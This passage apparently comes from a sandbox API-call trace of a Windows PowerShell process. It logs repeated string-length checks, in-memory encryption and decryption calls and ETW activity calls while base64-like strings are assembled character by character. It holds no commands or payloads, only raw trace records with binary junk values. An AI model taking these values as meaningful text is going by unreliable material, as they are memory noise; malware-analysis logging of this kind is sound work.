(param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\xf905\x711a\xd882\x82bf\xf478\x9510\x6baa\xbd48") returned 0x28 [0127.530] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.531] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FVaqbj喅") returned 0x28 [0127.531] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.531] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x872b\xe12\xa407\x23fc\xd89c\x4f86\x545a\xf2ac") returned 0x28 [0127.531] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x872b\xe12\xa407\x23fc\xd89c\x4f86\x545a\xf2ac") returned 0x28 [0127.531] SystemFunction041 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.531] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FVaqbjI") returned 0x28 [0127.531] SystemFunction040 (in: Memory=0x8e6fa2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fa2c) returned 0x0 [0127.531] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099") returned 0x28 [0127.531] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099") returned 0x28 [0127.531] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099") returned 0x28 [0127.531] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099\x4b\x4e\x2d\x33\x51\x78\x59\x65") returned 0x30 [0127.531] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0127.531] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FVaqbjIO됐䤿ޅ武紐㶾") returned 0x30 [0127.531] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0127.531] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099\x154c\x7b57\xd61f\x1b1\x9c35\xe7d6\xbf9\x7336") returned 0x30 [0127.531] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099\x154c\x7b57\xd61f\x1b1\x9c35\xe7d6\xbf9\x7336") returned 0x30 [0127.531] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0127.531] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FVaqbjIOg䤿ޅ武紐㶾") returned 0x30 [0127.531] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0127.531] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099\xf662\xd645\x2998\x4287\x16a7\x6e5b\xa5ab\x59b5") returned 0x30 [0127.532] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099\xf662\xd645\x2998\x4287\x16a7\x6e5b\xa5ab\x59b5") returned 0x30 [0127.532] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0127.532] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FVaqbjIOgUޅ武紐㶾") returned 0x30 [0127.532] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0127.532] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099\xc944\x5090\xf724\xbbb5\xcf6f\xe512\x2a1a\xbec0") returned 0x30 [0127.532] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x622a\x36fe\x4fd1\x893\x9b8c\xa94b\xe12e\xfd79\xfad1\x7b7b\x1e00\x932\xb3ad\x495c\x16a2\x668c\x1e1e\x3791\x6ad9\xe242\x9c85\xbf0c\xdeb8\x770f\x2077\x688f\x94dd\xc085\x4a26\x4e89\x4174\x4099\xc944\x5090\xf724\xbbb5\xcf6f\xe512\x2a1a\xbec0") returned 0x30 [0127.532] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0127.532] SysStringLen (param_1="3dmDnlxn+splGfP7MYadpEUoSpQnb4++6FVaqbjIOgU=武紐㶾") returned 0x30 [0127.532] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0127.532] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.532] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.532] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.532] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0127.532] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.533] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.533] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.533] SysStringLen (param_1="") returned 0x8 [0127.533] SysStringLen (param_1="Y") returned 0x8 [0127.533] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.533] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.533] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.533] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.533] SysStringLen (param_1="YW") returned 0x8 [0127.533] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.533] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.533] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.533] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.533] SysStringLen (param_1="YWM") returned 0x8 [0127.533] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.533] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.533] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.533] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.534] SysStringLen (param_1="YWM1") returned 0x8 [0127.534] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.534] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.534] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.534] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.534] SysStringLen (param_1="YWM1O") returned 0x8 [0127.534] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.534] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.534] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.534] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.534] SysStringLen (param_1="YWM1OT") returned 0x8 [0127.534] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.534] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.534] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.534] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.534] SysStringLen (param_1="YWM1OTE") returned 0x8 [0127.534] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.534] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.534] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.534] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.535] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0127.535] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.535] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.535] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.535] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.535] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0127.535] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.536] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0127.536] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.536] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.536] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.536] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.536] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0127.536] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.536] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.536] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.536] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.536] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0127.536] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.536] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.536] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.536] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.536] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0127.536] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.536] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.536] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.536] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.536] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0127.536] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.537] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.537] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0127.537] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.537] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.537] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0127.537] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.537] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.537] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0127.537] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.537] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0127.538] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.538] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0127.538] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.538] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.538] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.538] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.538] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0127.538] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.538] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.538] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.538] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.538] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0127.538] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.538] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.538] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.538] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.538] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0127.538] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.539] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.539] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.539] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.539] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0127.539] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.539] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.539] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.539] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.539] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0127.539] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.539] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.539] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.539] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.539] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0127.539] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.539] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.539] SysStringLen 